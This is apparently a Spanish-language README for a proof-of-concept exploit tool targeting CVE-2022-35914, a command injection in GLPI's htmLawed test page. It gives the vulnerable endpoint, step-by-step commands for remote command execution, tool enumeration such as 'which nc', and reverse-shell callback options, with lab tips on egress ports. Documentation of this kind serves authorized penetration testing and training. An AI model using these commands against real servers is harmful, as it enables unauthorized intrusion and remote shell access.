CVE-2022-35914 por cyb3rk0ala

PoC para CVE-2022-35914, una vulnerabilidad de inyección de comandos que involucra el componente de prueba htmLawed en instalaciones vulnerables de GLPI.

La herramienta proporciona ejecución de comandos a través del endpoint vulnerable e incluye funcionalidad de callback opcional para entornos de laboratorio autorizados.

Descargo de responsabilidad: Este proyecto está destinado únicamente a pruebas de seguridad autorizadas, CTFs, laboratorios de OffSec/PG y fines educativos. No lo utilice contra sistemas sin autorización explícita.

Vulnerabilidad

Campo	Detalles
CVE	`CVE-2022-35914`
Software	GLPI v.10.0.2
Componente	htmLawed
Endpoint vulnerable	`/vendor/htmlawed/htmlawed/htmLawedTest.php`

El componente vulnerable puede permitir la ejecución de comandos a través de parámetros manipulados en instalaciones afectadas.

Características

Ejecución de comandos
Construcción automática de la URL objetivo
Puerto HTTP objetivo configurable
Obtención automática de sesión/token
Extracción de la salida de comandos
Verificación del objetivo
Soporte para User-Agent personalizado
Configuración de callback opcional
Salida de terminal con colores
Interfaz CLI en Python 3

Requisitos

Python 3 y las dependencias necesarias.

Kali Linux

sudo apt install python3-requests python3-bs4

Entorno Virtual

python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4

Instalación

Clonar el repositorio:

git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914

Hacer el script ejecutable:

chmod +x glpi.py

Uso

Ayuda

python3 glpi.py -h

Ejecución Básica de Comandos

python3 glpi.py -u TARGET_IP -c 'id'

Ejemplo de salida:

[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php

========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================

Ejecución de Comandos

La opción -c especifica el comando a ejecutar.

Usuario Actual

python3 glpi.py -u TARGET_IP -c 'whoami'

Privilegios Actuales

python3 glpi.py -u TARGET_IP -c 'id'

Sistema Operativo

python3 glpi.py -u TARGET_IP -c 'uname -a'

Utilidades Disponibles

python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'

Opciones

Opción	Descripción	Predeterminado
`-u`, `--url`	URL o dirección IP objetivo	Requerido
`-c`, `--cmd`	Comando a ejecutar	`id`
`--check`	Verificar el objetivo sin ejecutar un comando	Deshabilitado
`--user-agent`	User-Agent HTTP personalizado	Predeterminado
`-p`, `--rport`	Puerto del servicio HTTP objetivo	`80`
`-l`, `--lhost`	Dirección IP de callback/listener	—
`-lp`, `--lport`	Puerto de callback/listener	—

Puerto Objetivo

La opción -p / --rport especifica el puerto donde se ejecuta el servicio web GLPI vulnerable.

Predeterminado:

Ejemplo:

python3 glpi.py -u TARGET_IP -p 80 -c 'id'

Verificación del Objetivo

Use --check para verificar que la página de prueba de htmLawed esté disponible sin ejecutar un comando:

python3 glpi.py -u TARGET_IP --check

User-Agent Personalizado

Se puede proporcionar un User-Agent HTTP personalizado con:

python3 glpi.py \
    -u TARGET_IP \
    --user-agent 'Mozilla/5.0'

Reverse Shell

El script admite parámetros de callback opcionales:

-l   IP de callback/listener
-lp  Puerto de callback/listener

Ejemplo:

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

En este ejemplo:

Target:   TARGET_IP:80
Callback: LHOST:80

Los dos puertos tienen propósitos diferentes:

-p   = Puerto HTTP del GLPI objetivo
-lp  = Puerto de callback/listener

Nota sobre el Laboratorio de OffSec

Durante las pruebas en un entorno de laboratorio de OffSec, el callback funcionó correctamente sobre el puerto TCP 80.

Otros puertos de callback, como 4444, pueden agotar el tiempo de espera dependiendo de la red del laboratorio y del filtrado de salida.

Para el entorno probado:

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

El listener se configuró en la interfaz VPN de Kali usando el puerto TCP 80.

Importante: El uso del puerto 80 para el callback es una observación específica del entorno. No es un requisito de CVE-2022-35914.

Solución de Problemas

La Ejecución de Comandos Funciona pero el Callback No

Primero verifique la ejecución de comandos:

python3 glpi.py -u TARGET_IP -c 'id'

Compruebe si existen las utilidades necesarias:

python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'

Si la ejecución de comandos funciona pero el callback agota el tiempo de espera, verifique el enrutamiento de la VPN y el puerto de callback.

La Salida del Comando Parece Incorrecta

Si el análisis de la salida del comando falla, la respuesta HTTP completa se guarda en:

/tmp/glpi.html

Inspecciónela con:

less /tmp/glpi.html

mousepad /tmp/glpi.html

Flujo de Trabajo de Ejemplo

1. Verificar el Objetivo

python3 glpi.py \
    -u TARGET_IP \
    --check

2. Confirmar la Ejecución de Comandos

python3 glpi.py \
    -u TARGET_IP \
    -c 'id'

3. Identificar el Usuario Actual

python3 glpi.py \
    -u TARGET_IP \
    -c 'whoami'

4. Comprobar las Herramientas Disponibles

python3 glpi.py \
    -u TARGET_IP \
    -c 'which nc'

5. Configurar el Callback

Para el entorno de laboratorio de OffSec probado:

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

Descargo de Responsabilidad

Este proyecto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.

El autor no es responsable de ningún uso indebido, daño, acceso no autorizado o actividad ilegal relacionada con este software.

Obtenga siempre autorización explícita antes de probar un sistema.

Autor

cyb3rk0ala

CVE

CVE-2022-35914

Proyecto

CVE-2022-35914 por cyb3rk0ala

CVE-2022-35914-RCE

Más Populares